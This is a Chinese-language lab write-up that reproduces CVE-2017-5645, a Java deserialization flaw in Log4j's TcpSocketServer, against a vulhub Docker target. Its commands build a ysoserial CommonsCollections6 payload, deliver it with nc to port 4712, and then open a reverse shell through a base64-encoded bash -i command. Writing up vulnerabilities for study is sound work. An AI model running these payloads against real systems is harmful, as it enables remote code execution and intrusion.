影响范围

  • Apache Log4j 2.0-alpha1 - 2.8.1

漏洞类型

Java 反序列化

操作系统限制

配置要求

  • 启动 Log4j 的 TcpSocketServer 服务,监听 4712 端口(也可指定其他端口)

漏洞利用

命令执行,反弹 shell,植入木马

利用原理

Log4j 的 TcpSocketServer 和 UdpSocketServer 类中,在接收日志数据时,没有对数据进行安全检验,直接通过 ObjectInputSteam.readObject() 进行反序列化,攻击者可以构造被序列化的恶意对象链来实现命令执行

漏洞复现

用现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/log4j/CVE-2017-5645
#拉取镜像
docker-compose up -d

1773547936873

扫描靶机端口 4712,用 telnet 连接成功连接,说明端口开放

1
2
telnet 公网ip 被扫描端口
nc -zv 公网ip 被扫描端口

1773547983473

下载攻击工具并检查是否有 Java 环境

1
2
3
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O ysoserial.jar
#检查Java环境
java -version

1773548027183

使用工具工具构造 payload,这里执行 touch /tmp/success

1
java -jar ysoserial.jar 利用的攻击链(这里用CommonsCollection6,) "执行的命令" > 文件名.bin

1773548059369

使用 nc 将二进制文件传到靶机

1
nc -v 靶机ip 4712 < 工具构造的文件名.bin

1773548115605

进入容器查看 /tmp,发现存在 success,说明成功执行命令

1773548142489

进行反弹 shell,使用 nc,nc -lvvp 监听端口

1773548171530

构造攻击 payload,将执行命令替换成下面这条

1
bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}

1773548204015

用 nc 将二进制文件传入靶机

1773548245345

成功连接

1773548278116